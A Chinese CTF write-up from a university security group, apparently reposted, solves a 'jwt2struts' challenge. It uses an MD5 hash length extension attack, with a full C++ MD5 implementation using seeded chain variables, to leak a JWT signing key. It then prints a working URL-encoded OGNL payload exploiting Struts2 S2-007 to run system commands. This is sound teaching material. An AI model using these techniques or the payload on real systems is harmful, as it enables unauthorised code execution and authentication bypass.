【表哥有话说 第96期】jwt2struts

admin 2023年8月9日18:23:56评论17 views字数 10656阅读35分31秒阅读模式

本期是web方向的表哥准备的内容哦

满满干货~

话不多说 拿起小本本开始吧


JWT部分

【表哥有话说 第96期】jwt2struts
e2da668bf64822c2c166923f8d7f72bb


初步判断应该是jwt的cookie伪造,实现管理员访问

抓包:

【表哥有话说 第96期】jwt2struts
74a805a4b157787534ab3deeaf86dfbc


可以看到给了一个token,然后响应里面给了一个文件名

token

【表哥有话说 第96期】jwt2struts
9da884d2e1c70e457da25a10a351b9f


cookie确实是jwt,但是直接改是没用的,需要加密的密钥才行

JWT_key.php

【表哥有话说 第96期】jwt2struts
d83a6bc96947f857302005b3641184bb


访问是这样的一个源码文件,绕过就能获得密钥

JWT_key

参考文章:

实验吧-让我进去【salt加密 哈希长度拓展攻击】_实验吧 admins only_Sp4rkW的博客-CSDN博客

hash哈希长度扩展攻击解析(记录一下,保证不忘)_hash算法扩展攻击达成目标_二进制程序猿的博客-CSDN博客

<?php
highlight_file(__FILE__);
include "./secret_ key. php";
include "./salt. php";
//$salt = XXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"] );
@$password = urldecode($_POST["password"]) ;
if (!empty($_COOKIE["digest"])){
    if ($username === "admin" && $password != "root") {
        if ($_COOKIE["digest"] === md5 ($salt.$username.$password)){
            die ("The secret_ key is".$secret_key) ;
        else{
            die ("Your cookies don' t match up!STOP HACKING THIS SITE.");
    }
    else {
        die ("no no no");
    }
    
}
?>

首先我们看到了有关加盐的相关操作,即md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df

显然,此过程是不可逆的,我们无法只凭借这一步来获得盐的值。

然后,接收两个post的值,将其url解码,然后检测是否有名为digest的cookie,接着是两个判断,首先看第二个判断,我们要使得digest的值和$salt.$username.$password连接起来的md5值相等;

正常思路:由于上面注释给了一个例子,那我们可以利用上面的那个例子,让digest等于上面的md5值,然后让username和password连接的部分等于adminroot这个字符串;然而,由于中间的那个判断,我们必须让username等于admin,而password不能等于root,故而正常思路无效

所以我们就用到了参考文章中的哈希长度扩展攻击

##哈希长度扩展攻击

哈希长度拓展攻击(Hash Length Extension Attack)是一种针对哈希函数的攻击方式,其基本原理是利用哈希函数某些特殊的性质,将已知哈希值以及已知的输入数据组成新的数据,并且计算出这个新数据的哈希值,从而达到对原有数据进行篡改的目的。

哈希函数通常用于加密、签名等安全应用中,它的基本作用是将任意长度的输入转换成固定长度的输出,同时保证具有强不可逆性,即任意修改输入数据都应该能够计算出不同的哈希值。但是,在某些特殊情况下,例如某些哈希函数的输出可以被预测或者伪造,从而导致哈希长度拓展攻击的发生。

具体来说,哈希长度拓展攻击通常包括以下几个步骤:

  1. 1. 攻击者获得目标哈希值和已知的输入数据。

  2. 2. 攻击者利用目标哈希值和已知的输入数据,构造出一个合法的新数据和新哈希值。

  3. 3. 攻击者将构造出来的新数据追加到原有数据之后,重新计算哈希值,并将这个新哈希值作为篡改后的数据的哈希值,从而进行篡改攻击。

需要注意的是,哈希长度拓展攻击是一种针对特定情况下的攻击方式,通常需要对哈希函数的具体实现进行深入分析才能进行攻击。这种攻击方式也需要一定的技术基础和经验,因此属于比较高级的攻击方式。同时,为了应对哈希长度拓展攻击,一些哈希函数的实现者也会采取相应的措施,例如在哈希函数的输出中加入密钥或者随机数等,增加攻击者的难度和复杂度。

此时,我们知道盐的位数和经过处理后的md5加密结果:位数为14位,令message:md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df

分析步骤:

  1. 1. 首先进行MD5算法中的补位操作。MD5算法中的补位操作是为了将消息长度填充到一个固定长度的倍数上,这是为后续计算方便而设计的。具体地说,MD5总是以512位(即64个字节)的分组处理输入消息,因此,当输入消息长度不够时,需要进行补位操作,将其长度填充到512位的整数倍。具体的做法是先添加一个1,再填充若干个0(可能是0个),使得补位后的消息长度满足以下公式:original_length + 1 + k = 448 mod 512其中original_length指原始消息的长度,k为补位所需要添加的长度。这样,补位后的消息长度就是512的整数倍,即方便后续进行分组处理。需要注意的是,如果原始消息长度mod 512等于448,那么补位操作就要多添加一个512位的分组来处理,这也意味着需要将原始消息长度编码成64位二进制数,并添加到补位后的消息末尾。这个长度编码有一定的规则,具体实现可以参考RFC 1321标准。也就是说,我们需要手动将所要加密的字符串进行补位操作,补位完成后在后面添加任意字符,具体操作可见参看第一篇文章,实现效果:

    【表哥有话说 第96期】jwt2struts
    img


  2. 2. 拓展攻击。

    1. 1. 消息摘要再MD5的加密算法中,存在链变量,它通过各种变化,得到了最终加密的结果,比如本题中的e6ccbf12de9d33ec27a5bcfb6a3293df,他是由最后一轮的链变量经过高低位互换后的结果,那我们就可以通过高低位互换,得到上一轮的链变量,即:A=0x12bfcce6,
      B=0xec339dde,
      C=0xfbbca527,
      D=0xdf93326a

    2. 2. 覆盖本题目中我们并不知道盐是多少,故而不能通过正常方式加密得到想要的值,或者更确切的说:得不到我们想要的值;我们有一个正常加密的结果和盐后面的可控字段,我们此时应该把重点放在怎么使得判断成立上;我们通过计算消息摘要,可以得到以盐为开头的字符串正常计算md5值的逻辑,也就是说,我们可以利用上面链变量的“规则”,修改“附加消息”(就是我们的可控字段),然后就能在不得到盐的同时,利用其加密的“规则”,构造出一个新的md5值,而此时这个新的md5值等价于我们修改后的可控字段加盐后的md5值,实现了不知道盐的情况下,构造出想要的md5值

  3. 3. 关于MD5算法实现MD5算法详述及python实现_python md5计算_阿迪达拉参上的博客-CSDN博客

    【表哥有话说 第96期】jwt2struts
    img


题解

在文章中提供了一串代码,可以修改初始链变量计算MD5

#include <cmath>
#include <cstdio>
#include <vector>
#include <string>
#include <cstring>
#include <iostream>

using namespace std;
typedef unsigned int uint;
typedef long long LL;
const int MAXN = 1e6 + 5;
const int mod = 1e9 + 7;
 
struct MD5 {
 
    typedef void (MD5::*deal_fun)(uint&, uint, uint, uint, uint, uint, uint);//用于定义函数指针数组
    string init_str;//数据字符串
    uint init_arr[1000];//最终的数据数组{进行扩充处理后的数据}
 
 
    const static int MAXN = 1e2;
 
    static uint s_state[4];//最开始的默认静态链变量
 
    uint state[4];//这个也是默认链变量,但是会改变
 
    static uint rolarray[4][4];//位移数组
    static uint mN[4][16];//对M数组的处理
 
    uint curM;//当前处理的直接在整个数据中的位置
    uint lenZ;//数据的总长{进行扩充处理后的数据总长,这个数是64的倍数}
    uint offset;//需要从第几组开始处理
    uint Tarr[64];//当前保存的T数组数据
    uint Memory[64 + 5];//当前要处理的64个字节数据
    uint M[16];//将64个字节数据分为16个数
 
    MD5();
    MD5(string str, int noffset);
 
    //数据处理函数
    inline uint F(uint X, uint Y, uint Z);
    inline uint G(uint X, uint Y, uint Z);
    inline uint H(uint X, uint Y, uint Z);
    inline uint I(uint X, uint Y, uint Z);
 
    //循环左移函数
    uint ROL(uint s, uint ws);
 
    //过程处理函数
    inline void FF(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac);
    inline void GG(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac);
    inline void HH(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac);
    inline void II(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac);
 
    //生成T数组单个数据的函数
    inline uint T(uint i);
 
    //将总数据中的64个字节移到Memory数组中
    void data_Init();
 
    //建立M数组
    void create_M_arr();
 
    //移动a,b,c,d,规则在前面介绍了
    void l_data_change(uint *buf);
 
    //产生T数组
    void create_T_arr();
 
    //得到最终MD5值
    string get_MD5();
 
    //过程处理
    void processing();
 
};
 
uint MD5::rolarray[4][4] = {
    { 7, 12, 17, 22 },
    { 5, 9, 14, 20 },
    { 4, 11, 16, 23 },
    { 6, 10, 15, 21 }
};
 
uint MD5::mN[4][16] = {
    { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 },
    { 1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12 },
    { 5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2 },
    { 0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9 }
};
 
/*
传统链变量
0x67452301,
0xefcdab89,
0x98badcfe,
0x10325476
这四个东西是可以根据要求更改的,如果取上述几个数则和经常用的MD5算出的结果是一样的
对了,由于有些数据是静态的,改变之后不会进行需要重新进行复制
*/
 
//e6ccbf12 de9d33ec 27a5bcfb 6a3293df
uint MD5::s_state[4] = {
    0x12bfcce6,
    0xec339dde,
    0xfbbca527,
    0xdf93326a
};
//已经按小端规则反处理哈希值了
 
 
MD5::MD5() {}
 
MD5::MD5(string str, int noffset = 1) {
    offset = noffset;
    curM = (noffset - 1) * 64;//从0位置处开始处理
    init_str = str;//对数据字符串进行处理
    lenZ = init_str.length();
    memset(init_arr, 0, sizeof(init_arr));
 
    for(int i = 0; i < lenZ; i ++) {
        init_arr[i] = str[i];//最终的数据数组进行赋值
    }
    /*
        将数据扩充到取模64个字节等于56个字节
        第一个填充0x80,然后就是0x00了
    */
    if(lenZ % 64 != 56) init_arr[lenZ ++] = 0x80;
    while(lenZ % 64 != 56) {
        init_arr[lenZ ++] = 0x00;
    }
 
    /*
        最后8个字节保存了没扩充钱位数的多少,记住是位数的个数不是字节的个数,同时是按照小端规则
    */
    uint lengthbits = init_str.length() * 8;
    init_arr[lenZ ++] = lengthbits & 0xff;
    init_arr[lenZ ++] = lengthbits >> 8 & 0xff;
    init_arr[lenZ ++] = lengthbits >> 16 & 0xff;
    init_arr[lenZ ++] = lengthbits >> 24 & 0xff;
 
    //因为uint最多32位所以我们只要考虑四个字节就可以了,虽然实际上要考虑64位,嘿
    lenZ += 4;//这步我没读懂!!!
 
 
    for(int i = 0;i < 4;i ++){
        state[i] = s_state[i];//将最开始的默认静态链变量赋值给静态链变量
    }
 
}
 
inline uint MD5::F(uint X, uint Y, uint Z) {
    return (X & Y) | ((~X) & Z);
}
inline uint MD5::G(uint X, uint Y, uint Z) {
    return (X & Z) | (Y & (~Z));
}
inline uint MD5::H(uint X, uint Y, uint Z) {
    return X ^ Y ^ Z;
}
inline uint MD5::I(uint X, uint Y, uint Z) {
    return Y ^ (X | (~Z));
}
uint MD5::ROL(uint s, uint ws) {
    return (s << ws) | (s >> (32 - ws));
}
 
 
inline void MD5::FF(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac) {
    a = ROL(a + F(b, c, d) + x + ac, s) + b;
    //printf("ffn");
}
 
inline void MD5::GG(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac) {
    a = ROL(a + G(b, c, d) + x + ac, s) + b;
    //printf("ggn");
}
 
inline void MD5::HH(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac) {
    a = ROL(a + H(b, c, d) + x + ac, s) + b;
    //printf("hhn");
}
 
inline void MD5::II(uint &a, uint b, uint c, uint d, uint x, uint s, uint ac) {
    a = ROL(a + I(b, c, d) + x + ac, s) + b;
    //printf("iin");
}
 
//这里前面讲了
inline uint MD5::T(uint i) {
    return (uint)((0xffffffff + 1LL) * abs(sin(i)));
}
 
//取64个字节放在Memory数组中
void MD5::data_Init() {
    uint tmp = 0;
    for(int i = 0; i < 64; i ++) {
        Memory[i] = init_arr[curM + i];
    }
    curM += 64;//变化位置
}
 
 
void MD5::create_T_arr() {
    for(int i = 1; i <= 64; i ++) {
        Tarr[i - 1] = T(i);
    }
}
 
/*
这里使用了小端将数据存在M数组中,可以稍微思考一下
*/
void MD5::create_M_arr() {
    uint tmp = 0;
    int cnt = 0;
    for(int i = 0; i < 64; i += 4) {
        tmp = 0;
        for(int j = 3; j >= 0; j --) {
            tmp |= Memory[i + j];
            if(j == 0) break;
            tmp <<= 8;
        }
        M[cnt ++] = tmp;
    }
}
 
//移动a,b,c,d,最后一个移到第一个
void MD5::l_data_change(uint *buf) {
    uint buftmp[4] = {buf[3], buf[0], buf[1], buf[2]};
    for(int i = 0; i < 4; i ++) {
        buf[i] = buftmp[i];
    }
}
 
void MD5::processing() {
    uint statetmp[4];
    for(int i = 0; i < 4; i ++) {
        statetmp[i] = state[i];
    }
    /*
        这里的处理只是为了更方便的循环
    */
    uint * a = &statetmp[0];
    uint * b = &statetmp[1];
    uint * c = &statetmp[2];
    uint * d = &statetmp[3];
 
    /*
        产生M数组和T数组
    */
    create_M_arr();
    create_T_arr();
 
    /*
        建立函数指针数组
        循环处理
    */
 
    deal_fun d_fun[4] = {
        &MD5::FF, &MD5::GG, &MD5::HH, &MD5::II
    };
 
    for(int i = 0; i < 4; i ++) {
        for(int j = 0; j < 16; j ++) {
            (this ->* d_fun[i])(*a, *b, *c, *d, M[mN[i][j]], rolarray[i][j % 4], Tarr[i * 16 + j]);
            l_data_change(statetmp);//交换a,b,c,d
        }
    }
 
 
    for(int i = 0; i < 4; i ++) {
        state[i] += statetmp[i];
    }
}
 
string MD5::get_MD5() {
    string result;
    char tmp[15];
    for(int i = 0;i < (lenZ - (offset - 1) * 64) / 64;i ++){
        data_Init();
        processing();
    }
 
    /*
        最终显示也是用小端
    */
 
    for(int i = 0; i < 4; i ++) {
        sprintf(tmp, "%02x", state[i] & 0xff);
        result += tmp;
        sprintf(tmp, "%02x", state[i] >> 8 & 0xff);
        result += tmp;
        sprintf(tmp, "%02x", state[i] >> 16 & 0xff);
        result += tmp;
        sprintf(tmp, "%02x", state[i] >> 24 & 0xff);
        result += tmp;
    }
    return result;
}
 
int main() {
    MD5 md1("1234567891234adminroot12345678912345678912345678912345678912345root",2);
    cout << md1.get_MD5() << endl;
    return 0;
}

我们只需要修改链变量和main中调用MD5函数时的参数为我们补位完成后的位数

或者我们也可以使用HashPump这个工具

运行得到一个MD5值,然后使用burp,令digest等于此值,username=admin,password等于我们构造好的字符串的后半部分,传入后判断极客成功,得到密钥,然后伪造cookie进入,本题目的第一部分完成

【表哥有话说 第96期】jwt2struts
img


struts2部分

【表哥有话说 第96期】jwt2struts
img


发现是一个登陆界面,然后根据题目推断,应该是一个struts2漏洞,进一步测试得知应该是S2-007远程执行代码漏洞

漏洞原理:

age来自用户输入,传递一个非整数给id导致错误,struts2会将用户的输入当作ongl表达式执行,从而导致漏洞;当 -vaildation.xml 配置的验证规则。如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串,然后执行OGNL表达式解析并返回;当用户age以str的形式提交int时,服务器”‘“ + value + “‘“将对代码进行拼接,然后使用OGNL表达式对其进行解析。我们需要找到一个配置有相似验证规则的表单字段,以产生转换错误。然后,您可以通过注入SQL单引号的方式注入任何OGNL表达式代码

直接在age框内输入payload即可,例:

%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27

这一部分就比较容易做出来了,搜索引擎搜一下就很容易出来

相关文章:

Struts2框架漏洞总结与复现 - FreeBuf网络安全行业门户

s2-007远程代码执行漏洞_Stephen Wolf的博客-CSDN博客


 本期内容结束啦 不知道大家收获如何呢

假期里也要继续加油鸭~

23级对网络安全感兴趣的宝子们可不要错过网安小组

记得加群!

【表哥有话说 第96期】jwt2struts



原文始发于微信公众号(SKSEC):【表哥有话说 第96期】jwt2struts

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月9日18:23:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【表哥有话说 第96期】jwt2strutshttps://cn-sec.com/archives/1943443.html

发表评论

匿名网友 填写信息